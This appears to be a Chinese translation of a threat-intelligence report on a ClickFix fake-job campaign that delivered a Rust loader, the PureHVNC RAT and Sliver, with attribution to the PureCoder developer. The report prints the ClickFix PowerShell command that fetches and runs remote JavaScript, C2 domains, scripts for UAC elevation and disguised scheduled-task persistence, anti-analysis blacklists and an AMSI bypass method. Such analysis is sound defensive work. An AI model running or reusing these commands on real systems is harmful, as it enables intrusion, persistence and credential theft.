关键要点
Check Point Research对一次ClickFix活动进行了取证分析,该活动通过虚假工作机会诱骗受害者,导致持续八天的入侵。威胁行为者部署了多种工具,包括Rust加载器、PureHVNC RAT和Sliver命令与控制框架。
在本出版物中,我们分析了相关文件,提供了对PureHVNC RAT最全面的分析之一,包括其完整的命令集和插件。
在与命令控制服务器通信期间,僵尸程序接收了三个GitHub URL,包含特定PureHVNC功能的支持文件。分析确认这些URL和相关的GitHub账户直接与Pure恶意软件家族的开发者相关联。
此前关于PureCoder的信息知之甚少,本出版物揭示了开发者的操作时区(UTC+0300)和可能的居住国家。这一线索可能使相关机构能够进行进一步的情报收集。
进一步调查发现了PureRAT构建器,揭示了该RAT的功能,并突出了与PureCrypter相关的特性,这是Pure恶意软件套件背后的作者PureCoder开发的另一个工具。
引言
Pure恶意软件家族是由名为PureCoder的作者开发和销售的一套恶意工具。这套工具包括PureHVNC RAT(远程管理工具,PureRAT的前身)、PureCrypter(恶意软件混淆器)、PureLogs(窃取器/记录器)以及其他几种工具。这些恶意软件通过地下论坛、Telegram频道和专用网站进行广告宣传和分发。这些产品通常结合使用,以在广泛的恶意操作中最大化其有效性。
虽然PureCoder负责构建和维护恶意软件生态系统,但网络犯罪客户主要使用这些工具来开展活动。在2025年,Pure恶意软件产品的使用显著增加,威胁行为者通过各种方法分发它们,包括恶意垃圾邮件、钓鱼网站和ClickFix技术。
在一次Check Point事件响应(IR)参与期间,我们的团队调查并遏制了一次为期八天的入侵。威胁行为者分发了一个Rust加载器,该加载器部署了带有活动ID 2a和amazon3的PureHVNC RAT。攻击者通过虚假工作广告诱骗受害者,允许攻击者通过ClickFix钓鱼技术执行恶意的PowerShell代码。
观察到该RAT的命令与控制服务器(C&C)向受感染的受害者传递了三个GitHub URL并下载了相关文件。这些下载的文件支持PureHVNC RAT使用的各种命令,并确定是Pure开发和操作基础设施的一部分,而不是威胁行为者本身。因此,所涉及的GitHub账户被归因于Pure恶意软件家族的开发者PureCoder。
虽然目前关于这些产品作者的信息有限,但对相关GitHub账户的分析揭示了操作时区设置为UTC+0300,这对应于包括俄罗斯在内的几个国家。
ClickFix活动与取证工件
ClickFix是一种社会工程学钓鱼技术,受害者被呈现欺骗性指令,旨在诱骗他们运行恶意命令。在此活动中,受害者通过虚假工作机会被引诱到ClickFix钓鱼页面。访问该页面后,PowerShell命令自动复制到他们的剪贴板,传递一个恶意的JavaScript文件。
在八天的入侵期间,攻击者使用了恶意JavaScript文件,部署了两个PureHVNC RAT实例,在受害者系统上建立了持久性,并最终执行了Sliver命令与控制框架。
感染第1天 – ClickFix和PureHVNC
在初始访问的最初时刻,我们观察到威胁行为者的大部分交互,包括丢弃JavaScript文件和第一个版本的PureHVNC RAT。
受害者通过虚假工作机会被引诱,访问恶意的ClickFix网站后,PowerShell命令自动复制到他们的剪贴板。
该页面指示用户粘贴并执行该命令。如果执行,该命令将下载并运行一个恶意JavaScript文件,启动感染链。
复制的PowerShell命令:
powershell -c "$j=$env:TEMP+'\a.js';sc $j 'a=new ActiveXObject(\"MSXML2.XMLHTTP\");a.open(\"GET\",\"63381ba/kcilc.ellrafdlucolc//:sptth\".split(\"\").reverse().join(\"\"),0);a.send();eval(a.responseText);';wscript $j" Press Enter
命令与控制服务器响应了恶意的JavaScript代码,该代码在启动文件夹中创建了一个恶意的LNK文件,并赋予自身在机器上的持久性。恶意JavaScript文件被混淆,每天联系不同的命令与控制服务器并等待进一步指令。
function getURL() {var C2_domain_list = ['stathub[.]quest', 'stategiq[.]quest', 'mktblend[.]monster', 'dsgnfwd[.]xyz', 'dndhub[.]xyz'];var current_datetime = new Date().getTime();var no_days = getDaysDiff(0, current_datetime);return 'https://'+ getListElement(C2_domain_list, no_days)+ '/Y/?t=' + current_datetime+ '&v=5&p=' + encodeURIComponent(user_name + '_' + pc_name + '_' + first_infection_datetime);
}
JavaScript传递了第一个版本的PureHVNC RAT,命令与控制服务器为54[.]197.141.245,活动ID为2a。
感染第2天 – Rust加载器和PureHVNC
在感染的第二天,威胁行为者部署了更新版本的PureHVNC RAT,该版本使用Rust加载器和Inno Setup(一个用于Windows应用程序的开源安装构建器)进行打包。
这个部署PureHVNC RAT的Rust加载器被丢弃在%APPDATA%\Microsoft\SystemCertificates\9TwinAPIInterop.pfx中,与第一个版本没有差异,唯一的变化似乎是活动ID amazon3。
PureHVNC RAT配置:
{"C&C": "54.197.141.245","ports": [443, 10443],"certificate": "MIIE4jCCAsqgAwIBAgIQAPKOllxpzWEf7Cig2iwQUTANBgkqhkiG9w0BAQ0FADASMRAwDgYDVQQDDAdXd2ZwaHZiMCAXDTI0MDkxNTEyNDUwN1oYDzk5OTkxMjMxMjM1OTU5WjASMRAwDgYDVQQDDAdXd2ZwaHZiMIICIjANBgkqhkiG9w0BAQEFAAOCAg8AMIICCgKCAgEA3Qm+O4ZX8e7qnzb7AcS+MKuMmNan06HgF1tV3zC92tiL/QylCy3TfZ1GQmut+cOfuZby9uYAyMF74uxtwpFpr6pzL4ps3HxpuxBrvAcRsUKVShpQzGOTMwlJWJj7nDX1Tn/PIr9g55C7jTF/k93grdGN38EAYQSd75gxhZ7sddCZFuBy6Bdt21URknipN9N3y/dlDO+qBZmbVhGGEqZ1HrVD2RpmKKEO6OZu4XJHLrn1EsjgxyM0ifb7P38bR/cDB2PxzOqGRZ/Snhg5Bw/uG82+twYkp6CxVRH59yamlHp9qRF4vRFLk08xZ0+lRkQV4BrEWbA60omIp3XDdnMOPFZnqHUMTBTZ871LE782VF34xM5QdIA2r6QjqNyKSymb/lMcLJEhlJ+DEf05Y20lE9nJTn/ioMKO/ilszJOhu8NS43g+torPCEOvDldBfxtgcp4w+SXXLfUi3+p/326JXghRpqZUQ99VaH/ucT4rP9CcSjIqlCymPuAhOZmRDyMAcWuzsz/1STgZ8fxP0DVprdpTLvN9n+esMPYHRECUlaZLdn9x9AmZARbMatOdAzH8LgQTG02ecVS/pEugUVg7Ipxn6pWqjK+NSFNr1kxCYI5UqZK50CdINoKM8+frA7gAl3ohnY4bRK6bFioaCCcCZJF7FaJJh+EDs/CQ6KcLpnkCAwEAAaMyMDAwHQYDVR0OBBYEFB9jTlNea5ZsJd7ClDh/cepkFXZZMA8GA1UdEwEB/wQFMAMBAf8wDQYJKoZIhvcNAQENBQADggIBAH3nFnvuPEufM3BwPNfhgs5RkPPXk2pG9cTznxER3h37kR3jguEnq2wL7yYA2D30XA8tJv7+CPZ/IrtSC0OSyEmw8a5FoHtno22e5Dtq81FY4c8kFTS0p39mtAEtitAGehMyE6K3X0LgvNaxWwbdL9rcko62msxqKRw3fxaFjTNK+tl5H6T8jXH5VMqEd0eiiK5ySanLkiy+CfYJnyqBoICYW4r1W/o65ibgxzPoOzcbod4UG9O6YwDqMDN8JlQDQTl7gZLitCRcaBZQynINF2yZwZYirdWqK0X3fhQLluoZ9zXhc5rb3UM5+QvP9p/ZaUOIZ0m18vjVcnz6Zo9N60K93u5Z/IzBcd8gM1Wp3dtDruekbjdXs8b+txMDFSy56ZPBFLJhWO4xpGt172ZMp6Du9sMAWDaDTfPvZWprE5WjCk4fltMQU0DGbPmP1il3XLtqVvPiLvuAccrbL9wkvlvDKgjqUpYjXsdFOT5unXiYc1eEDW4HIWNJcIw2J4oz8I2AlwQ+exVTEArQc8G3fNbMsvZD7CtSVJKqZLSkAfoki3Zrs/fIFTGGNzQ/Vbb01K7k7s2mAQ4Mr1JjNh/ZwlTdubKZp+jbARrhDvvdPISupSo0KDKBjwkY2tcGw/aTsYKdNywDn8VqIvLjHhDKG4vMm7FYoLMdEWIXNyvP1oJ2","campaign_id": "amazon3","install_path": "APPDATA","mutex": "aa05be285061"
}
感染第8天 – Sliver植入
在保持不活动状态超过六天后,可能是为了验证受感染的机器是真实目标而不是沙箱环境,威胁行为者传递了一个Sliver植入程序,其C&C为hxxps://jq-scripts.global.ssl[.]fastly[.]net。然后Sliver传递并执行了一个PowerShell脚本,该脚本在提示中请求用户密码,并将凭据存储在%ProgramData%/
Rust加载器 – 技术分析
恶意加载器是一个用Rust编程语言开发的DLL文件,并使用LOLBin regsvr32执行。恶意功能位于函数导出DllRegisterServer和DllUnregisterServer中,它们包含相同的代码段。
字符串解密
恶意软件包含加密字符串,使用ChaCha20-Poly1305算法按需解密。解密密钥通过嵌入在二进制文件中的两个硬编码值进行XOR生成:
值1:4a01d45563d802fee5593a21f1b216aeed83c4dff50fa6a31391ff73feb29dbd
值2:bf83184822bf184536b50dff4758edd638b59cb82a06ee019b62b0bce33d07b5
Chacha20-Poly1305密钥:f582cc1d41671abbd3ec37deb6eafb78d5365867df0948a288f34fcf1d8f9a08
反分析技术
第一种反分析技术监控运行的进程,并尝试识别与防病毒和安全软件、调试器、逆向工程工具和监控工具相关的各种进程。恶意软件检测了来自Bitdefender、ESET、Kaspersky、Ad-Aware和360 Total Security的防病毒进程。
黑名单进程:
"bdservicehost.exe", "bdredline.exe", "aylaunch.exe", "egui.exe", "360Safe.exe", "zhudongfangyu.exe", "HipsDaemon.exe", "ekrn.exe", "eguiProxy.exe", "avp32.exe", "avpcc.exe", "avpm.exe", "avpdos32.exe", "avp.exe", "adawareservice.exe", "ksdumper.exe", "decoder.exe", "dnspy.exe", "dbgx.shell.exe", "ilspy.exe", "ollydbg.exe", "x32dbg.exe", "x64dbg.exe", "gdb.exe", "idaq.exe", "idag.exe", "idaw.exe", "ida64.exe", "idag64.exe", "idaw64.exe", "idaq64.exe", "windbg.exe", "immunitydebugger.exe", "windasm.exe", "scylla.exe", "scyllahide.exe", "cheatengine.exe", "pe-bear.exe", "ollyice.exe", "radare2.exe", "ghidra.exe", "sysanalyzer.exe", "xperf.exe", "procdump.exe", "dbgview.exe", "apimonitor.exe", "pe-sieve64.exe", "pe-sieve32.exe", "pe-moneta.exe"
第二种反分析技术包括Microsoft的Windows Defender恶意软件分析模拟器中特别存在的API函数列表。该技术解决了Windows库和虚拟库之间的差异,虚拟库包含更多特别与模拟环境相关的API调用。
黑名单API:
"MpVmp32Entry", "NtControlChannel", "ObjMgr_ValidateVFSHandle", "ThrdMgr_GetCurrentThreadHandle", "ThrdMgr_SaveTEB", "ThrdMgr_SwitchThreads", "VFS_CopyFile", "VFS_DeleteFile", "VFS_DeleteFileByHandle", "VFS_FileExists", "VFS_FindClose", "VFS_FindFirstFile", "VFS_FindNextFile", "VFS_FlushViewOfFile", "VFS_GetAttrib", "VFS_GetHandle", "VFS_GetLength", "VFS_MapViewOfFile", "VFS_MoveFile", "VFS_Open", "VFS_Read", "VFS_SetAttrib", "VFS_SetCurrentDir", "VFS_SetLength", "VFS_UnmapViewOfFile", "VFS_Write", "MpAddToScanQueue", "MpCreateMemoryAliasing", "MpCallPostEntryPointCode", "MpCallPreEntryPointCode", "MpDispatchException", "MpExitThread", "MpFinalize", "MpGetCurrentThreadHandle", "MpGetCurrentThreadId", "MpGetLastSwitchResult", "MpGetPseudoThreadHandle", "MpGetSelectorBase", "MpGetVStoreFileHandle", "MpHandlerCodePost", "MpIntHandler", "MpIntHandlerParam", "MpIntHandlerReturnAddress", "MpNtdllDatatSection", "MpReportEvent", "MpReportEventEx", "MpReportEventW", "MpSehHandler", "MpSetSelectorBase", "MpStartProcess", "MpSwitchToNextThread", "MpSwitchToNextThread_WithCheck", "MpSwitchToNextThread_NewObjManager", "MpTimerEvent", "MpTimerEventData", "MpUfsMetadataOp", "MpValidateVFSHandle", "MpVmp32FastEnter"
如果任何反分析技术检测到恶意软件正在模拟或沙箱环境下被分析和监控,它将通过执行命令cmd /c timeout /t {random_time} >null
随机休眠10到30分钟,醒来后如果仍在受监控的环境中运行,则重新运行反分析过程,如果再次被检测到,则再次进入随机休眠。
Rust加载器要求使用特定的命令行参数执行,如果不存在该参数,则终止其执行。恶意软件检索传递给进程的参数,并尝试查找参数/i:--type=renderer
。
作为最终的反分析和规避技术,在成功解密其有效载荷后,恶意软件立即通过向ntdll.dll中的原生LdrLoadDll函数注入钩子来主动实现AMSI绕过。此钩子拦截加载amsi.dll库的尝试——该库负责Windows反恶意软件扫描接口——并有效阻止其加载到进程中。通过这样做,恶意软件禁用了AMSI的运行时扫描能力,从而逃避依赖AMSI进行实时恶意软件检查的安全产品的检测和分析。
持久性
恶意软件检查进程是否未以管理员权限运行,然后执行以下PowerShell命令以授予恶意软件更高权限。
"powershell" -Command "
while ($true) {try {Start-Process -FilePath 'cmd.exe' `-Verb runas `-ArgumentList '/c start "" /B "regsvr32.exe" {MALWARE} /i:--type=renderer';exit} catch {}
}
"
此PowerShell将尝试在无限循环中以管理员权限执行恶意DLL,直到用户接受UAC(用户账户控制)提示。一旦提示被接受,进程自行终止,感染继续以获得更高权限的进程进行。
加载器为避免被执行两次,创建了一个Mutex MistyRoseNavy,然后执行一个PowerShell命令,该命令将通过计划任务维持系统持久性。
第一个PowerShell命令将尝试查看系统中是否已注册任何计划任务。
"powershell" -Command "
if (Get-ScheduledTask | Where-Object {$_.Actions.Execute -eq 'regsvr32' -and$_.Actions.Arguments -eq '/s /i:--type=renderer \"%APPDATA%\Microsoft\SystemCertificates\{MALWARE}\"'}
) {exit 0
} else {exit 1
}
"
如果没有,它将继续在受感染的机器上创建持久性。任务名称和路径被设计为模仿Google更新程序:
Register-ScheduledTask `-Action (New-ScheduledTaskAction `-Execute "regsvr32" `-Argument "/s /i:--type=renderer \"%APPDATA%\Microsoft\SystemCertificates\{MALWARE}\"") `-Trigger (New-ScheduledTaskTrigger `-Once -At (Get-Date).AddMinutes(1) `-RepetitionInterval (New-TimeSpan -Minutes 1)) `-TaskName 'GoogleUpdaterTaskSystem196.6.2928.90.{FD10B0DF-9A2C-41C2-B9E7-3C3C6F193A83}' `-TaskPath '\GoogleSystem\GoogleUpdater' `-Description 'GoogleUpdater Task System 196.6.2928.90' `-Settings (New-ScheduledTaskSettingsSet `-AllowStartIfOnBatteries `-DontStopIfGoingOnBatteries `-ExecutionTimeLimit 0 `-DontStopOnIdleEnd) `-RunLevel Highest
上述脚本的执行将通过将其作为PowerShell over stdin运行,首先执行以下命令,然后将持久性PowerShell脚本写入管道WriteFileEx。
PowerShell.exe -NoProfile -NonInteractive -Command -
有效载荷解密与执行
有效载荷嵌入在Rust二进制文件中,并使用简单的32字节密钥XOR解密。
随后,恶意软件将验证解密的值,这将决定下一步。验证通过XOR解密字节并生成哈希值来进行。
此哈希值被进一步处理并与值0x6进行比较。在此函数期间,我们还观察到十六进制值0xDEADBEEF,尽管它不影响输出,似乎仅用作标记。
下一步,恶意软件检查解密的有效载荷是否大于1 KB(1024字节),只有在这种情况下才继续感染,否则自行终止。在此阶段,恶意软件已经成功挂钩LdrLoadDll,成功绕过了AMSI加载。
作为最后一步,Rust加载器创建一个堆,将解密的有效载荷缓冲区复制到其中,并执行shellcode。
缓冲区包含一个.NET有效载荷,通过shellcode执行。一旦.NET加密器使用AES解密最终有效载荷并使用Gzip解压缩,它被识别为PureHVNC。
PureHVNC RAT – 技术分析
PureHVNC是Pure恶意软件家族的产品,由PureCoder开发。该恶意软件提供HVNC功能(隐藏虚拟网络计算),允许攻击者控制受感染的机器,而会话对受感染用户不可见。
分析的恶意软件包含经过混淆的字符串和函数调用,这些是动态解密的。通过使用NETReactorSlayer,我们可以获得此恶意软件的更清晰版本。
配置
恶意软件配置是protobuf序列化的,经过Gzip压缩和Base64编码。反向过程检索恶意软件配置,其中包含执行配置,如命令与控制服务器、端口号和互斥体名称。
解压缩缓冲区的反序列化可以使用protod工具完成,给出以下输出。
上述配置将值存储在特定类中,其属性使用[ProtoMember(n)]属性装饰,表明它使用Protocol Buffers(protobuf-net)进行序列化。
ProtoMember | 描述 |
---|---|
1 | 恶意软件命令与控制服务器 |
2 | C&C端口 |
3 | TLS证书,用于C&C通信 |
4 | 活动ID |
5 | 维持持久性标志 |
6 | 标志值,执行SetThreadExecutionState Windows API,防止系统休眠或关闭显示 |
7 | 任务名称,用于通过计划任务维持持久性。如果未定义该字段,则使用可执行文件名 |
8 | 环境变量,将用于检索安装文件夹。此文件路径将用于持久性 |
9 | 互斥体名称,确保恶意软件进程唯一 |
10 | 未知,未使用的字段 |
持久性
PureHVNC,类似于上述的Rust加载器,通过执行PowerShell命令在系统的计划任务中维持其持久性。
当以管理员权限运行时,恶意软件将执行以下脚本:
Register-ScheduledTask `-TaskName '<task_name>' `-Action (New-ScheduledTaskAction -Execute '<executable_path>') `-Trigger (New-ScheduledTaskTrigger -Once -At (Get-Date) `-RepetitionInterval (New-TimeSpan -Minutes 5)) `-User $env:UserName `-RunLevel Highest `-Settings (New-ScheduledTaskSettingsSet `-ExecutionTimeLimit (New-TimeSpan -Seconds 0) `-AllowStartIfOnBatteries `-DontStopIfGoingOnBatteries) `-Force
当进程以普通用户身份运行时,命令将在没有-RunLevel Highest选项的情况下运行。根据进程权限,相应的命令将进行Base64编码,然后使用-Enc PowerShell参数执行。
网络通信
恶意软件最初尝试检查端点当前是否存活,首先尝试通过套接字连接,然后向C&C发送四个字节04 00 00 00。
恶意软件创建一个SSLStream并执行SSL握手,根据其配置中嵌入的证书验证服务器的证书。
在此阶段,PureHVNC收集将发送给攻击者服务器的僵尸程序信息。此信息将被序列化,然后使用Gzip压缩。如果压缩数据超过约1 MB(1,000,000字节),它将分16 KB块发送。
一旦数据发送,PureHVNC通过SSL流从C&C接收压缩缓冲区大小,并将整个缓冲区读入数组。在解压缩和反序列化数据后,恶意软件在单独的线程中执行接收到的命令。
收集的数据
PureHVNC从受感染系统收集数据并发送到C&C服务器。这包括安装的防病毒产品、僵尸程序标识符、用户域和权限、操作系统版本、可执行文件名、空闲时间以及感兴趣的已安装应用程序。信息还包含元数据,如从恶意软件配置获取的恶意软件版本(4.1.9)和活动ID(amazon3)。
为检索防病毒产品,查询Windows Management Instrumentation(WMI)以获取系统上安装的防病毒产品,"SELECT * FROM AntiVirusProduct"。
除了收集有关已安装防病毒产品的信息外,恶意软件还检查主机系统上是否存在特定的感兴趣应用程序。它扫描与已知加密货币钱包软件、浏览器扩展以及消息传递或电子邮件客户端相关的预定义目录、文件和注册表键以找到它们。
在发送到C&C的数据中,有三条信息也可以用作反沙箱指标,帮助攻击者确定僵尸程序是位于真实用户系统上还是在沙箱或虚拟化分析环境中。
第一种技术返回一个布尔值,指示受感染的机器是否有任何被识别为摄像头或成像设备的设备。这是通过执行WMI查询确定的,SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')。沙箱和虚拟机通常缺乏物理设备,如网络摄像头或成像设备,缺乏此类设备可以指示非物理环境。
第二条收集的数据检索最后输入事件(键盘/鼠标)的滴答计数和机器上的最后用户活动。第三条是可执行文件名和路径,在此活动期间,恶意软件安装在固定文件夹中。这三条信息结合可以被攻击者用来确定受感染的机器是否是真实用户。
插件和命令
PureHVNC在注册表键内存储插件。注册表键使用BotID,而名称和值由C&C接收。插件的数据被压缩和反转,每次加载插件时,它反转字节并解压缩缓冲区。注册表路径位于HKEY_CURRENT_USER\Software{BOT_ID},BotID使用以下Python逻辑生成:
# PureHVNC BotID生成逻辑
import hashlibclass PureBotID:def __init__(self, user_name: str, domain_name: str, processor_id: str, drive_sn: str, memory_sn: str):# Environment.UserNameself.user_name = user_name# Environment.UserDomainNameself.domain_name = domain_name# "Win32_Processor", "ProcessorId"self.processor_id = processor_id# "Win32_DiskDrive", "SerialNumber"self.drive_sn = drive_sn# "Win32_PhysicalMemory", "SerialNumber"self.memory_sn = memory_sn# 生成Bot ID PureHVNC逻辑self.bot_id = self.generate_bot_id()def generate_bot_id(self) -> str:user_domain = f"{self.user_name}[{self.domain_name}]" if self.domain_name else self.user_nameresult = f"{self.processor_id}{self.drive_sn}{self.memory_sn}{self.domain_name}{user_domain}"return hashlib.md5(result.encode()).hexdigest().upper()
一旦插件传递到受感染的受害者,威胁行为者可以执行各种命令。大多数命令与插件有一对一的关系,意味着插件仅服务于一个功能,尽管一些插件服务于多个命令。观察到的插件和支持的命令:
ID | 插件 | 支持的命令 | 描述 |
---|---|---|---|
0 | None | None | 无操作 |
1 | RemoteHiddenVNC | HvncRunpe | 在单独进程下的隐藏虚拟网络计算(HVNC)功能 |
2 | RemoteHiddenVNC | AudioEnableAudio | 启用音频的HVNC |
3 | RemoteAudio | RemoteMic | 从受感染系统的麦克风捕获实时音频 |
4 | TaskManager | ProcessManager | 显示、杀死、重启进程 |
5 | FileManager | FileManager | 显示、杀死和重启进程 |
6 | Executing | DownloadAndExecuteDisk, DownloadAndExecuteMemory, DownloadAndUpdate | 执行计算机相关命令,如重启、关闭PC,并提供多个Bot-C&C连接相关功能 |
7 | RemoteCamera | RemoteWebcam | 激活受害者的网络摄像头并流式传输或捕获图像/视频 |
8 | RemoteShell | RemoteShell | 远程Shell插件和命令 |
9 | RemoteDesktop | RemoteDesktop | 远程桌面插件和命令 |
11 | PcOption | DeletePlugins, CloseConnection, RestartConnection, UninstallConnection, ShutdownPC, RestartPC, BlockConnection | 执行计算机相关命令,如重启、关闭PC,并提供多个Bot-C&C连接相关功能 |
12 | Chat | Chat | 允许操作员和远程客户端之间实时文本通信的命令 |
13 | Keylogger | RemoteKeylogger | 键盘记录能力 |
14 | VisitWebsite | VisitWebsite | 访问指定网站指定持续时间 |
15 | RevProxy | RevProxyHttp, RevProxySocks5 | 支持HTTP和SOCKS5的反向代理 |
16 | TV | TV | 未知,当前未使用的插件命令 |
17 | ExecutePowershell | DefednerExclusion, PowershellOneLiner, DeleteRestorePoints | 执行PowerShell指定的单行命令。以及执行PowerShell以绕过Windows Defender |
18 | RemoteHiddenVNC_Reflection | RemoteHvncReflection | 终止Bot,带有删除选项 |
19 | TwitchBot | TwitchBot | Twitch Bot命令能够向聊天发送消息,关注、取消关注账户,点击广告 |
20 | YoutubeBot | YoutubeBot | YouTube Bot执行订阅、取消订阅指定账户,发送消息,点赞操作和点击广告 |
21 | BotKiller | BotKiller, BotKillerWtihDelete | 检索机器规格 |
22 | WindowNotify | WindowNotify | 一旦打开匹配指定关键词的窗口标题,提醒威胁行为者 |
23 | RegistryManager | RegistryManager | 远程注册表编辑器,删除、创建、编辑值和键 |
24 | NetworkManager | NetworkManager | 允许威胁行为者查看活动网络连接,刷新连接列表,杀死指定连接,或终止具有特定连接的进程 |
25 | DDOS | DdosManager | 对指定目标的分布式拒绝服务(DDOS)。支持三种类型的DDOS:1) HTTP Flood, 2) TCP Flood 和 3) HTTP带宽耗尽 |
26 | PCSpecifications | PCSpecifications | 攻击者能够通过torrent播种或下载文件。这可能允许运行P2P僵尸网络进行数据分发。此命令可能有助于大文件的渗出 |
27 | Coding | ExecuteNETCode | 执行威胁行为者指定的.NET代码 |
28 | InstalledApps | InstalledApps | 检索已安装的应用程序 |
29 | ActiveWindow | ActiveWindows | 能够控制远程机器上的活动窗口 |
30 | HRDP | HRDP | 隐藏远程桌面协议能力 |
31 | Clipper | Clipper | 监控系统剪贴板并将复制的数据替换为攻击者控制的内容。更具体地说,检测加密货币地址并将其替换为攻击者拥有的钱包。恶意软件支持比特币(BTC)、莱特币(LTC)、以太坊(ETH)、乌鸦币(RVN)、门罗币(XMR)、比特币现金(BCH) |
32 | Torrent | Torrent | 攻击者能够通过torrent播种或下载文件。这可能允许运行P2P僵尸网络进行数据分发。此命令可能有助于大文件的渗出 |
33 | HostsEditor | HostsEditor | 允许攻击者编辑远程机器的hosts文件。hosts文件将域名映射到IP地址,使攻击者能够覆盖DNS解析或阻止/重定向流量 |
34 | StartupManager | StartupManager | 收集所有使程序在启动时运行的持久性条目。然后能够删除它们 |
PureCoder – 开发者
Pure产品家族包括多种类型的恶意软件,由同一作者PureCoder开发和销售。产品列表包括:
- PureCrypter,用于Native和.NET的加密器
- PureRAT(PureHVNC RAT),远程管理工具
- PureLogs,窃取器和记录器
- PureMiner,静默加密货币挖矿程序
- Blue Loader,高级僵尸网络
- 其他较小的恶意产品
多个威胁行为者使用这些产品用于特定目的。通常,PureCrypter被用作加密器,混淆其他Pure产品,如PureLogs或PureHVNC。这些产品在PureCoder的许多Telegram频道中销售。
Pure恶意软件家族的开发者和卖家展示了每个产品的特性和功能,而PureRAT管理构建器面板似乎支持三种主要语言:英语、俄语和中文。
PureCoder – GitHub账户
在之前提到的活动中,ID为amazon3,恶意软件与其命令控制服务器通信。僵尸程序接收了三个GitHub URL并下载了相应的文件。
GitHub账户总共拥有五个仓库,其中包含几个可执行文件和插件文件。
当检查仓库DFfe9ewf/test3的提交时,我们发现了意想不到的东西。对特定仓库的提交和文件上传是由"另一个账户"PureCoder进行的。提到的提交:
GitHub在提交中显示一个noreply电子邮件,形式为ID+USERNAME@users.noreply.github.com。ID 87261126实际上当前对应于DFfe9ewf,该账户从PURE-CODER-1重命名。提交的时区为UTC+0300,这对应于许多国家,包括俄罗斯等。
三个下载的文件之一再次在另一个GitHub账户中看到,该账户可能用于开发和测试目的。
包含这些文件的仓库DemoThing创建于2024年3月,此测试账户在2025年4月创建了两个更多描述为"PR"的仓库,并包含类似的文件。
类似于之前的GitHub账户,所有提交再次在时区UTC+0300进行,并包含托管在其中的类似名称和文件。此账户testdemo345在DFfe9ewf之前创建,似乎用于开发阶段的测试目的。
Pure构建器和GitHub URL
一开始,我们认为联系的GitHub账户(DFfe9ewf/PURE-CODER-1)是威胁行为者传递的URL的一部分,威胁行为者可能只是Pure恶意软件产品的客户。尽管一旦我们发现PureRAT管理构建器硬编码了支持恶意软件本身各种功能的GitHub URL,这一假设发生了变化。
GitHub URL被硬编码到PureRAT管理构建器可执行文件中,意味着它们不是由威胁行为者传递给受害者的。相反,它们是管理工具本身的一部分,由PureCoder开发。
这些URL和文件似乎支持TwitchBot和YoutubeBot插件。它们用于在这些平台上关注或取消关注账户、点赞视频和点击指定视频广告等命令。
虽然PureCoder目前使用GitHub和上述账户来托管支持PureRAT各种功能的文件,但Check Point Research预计这些URL会更频繁地更改,可能使用不同的GitHub账户、替代托管平台,甚至可能由管理工具直接作为字节传递给僵尸程序。
Pure构建器 – PureCrypter特性
虽然我们获得的工具似乎是PureRAT构建器和管理软件,但一些可用特性也与PureCrypter软件解决方案相关,该解决方案也由PureCoder销售和开发。
代码指定了多个与PureCrypter相关的枚举。枚举是表示特定值的命名常量列表。
PureCrypter枚举:
这些枚举为我们提供了一些重要信息,关于威胁行为者在使用PureCrypter加密其恶意软件期间可以做出的选择。例如,我们可以观察到安装选项(PureCrypterFolder)、持久性机制(PureCrypterStartup)以及执行方法(PureCrypterInjection)。
结论
ClickFix活动的取证调查提供了Pure恶意软件生态系统及其操作机制的全面视图。为期八天的入侵突出了多种工具的协调使用,包括Rust加载器、PureHVNC RAT和Sliver C2框架,展示了威胁行为者的复杂性。Check Point Research对PureHVNC RAT的深入分析,包括其所有命令、插件和相关支持文件,揭示了此恶意软件家族先前不透明的方面。
显著地,调查将几个GitHub仓库直接链接到开发者PureCoder,提供了对其操作实践的
更多精彩内容 请关注我的个人公众号 公众号(办公AI智能小助手)
对网络安全、黑客技术感兴趣的朋友可以关注我的安全公众号(网络安全技术点滴分享)
公众号二维码
公众号二维码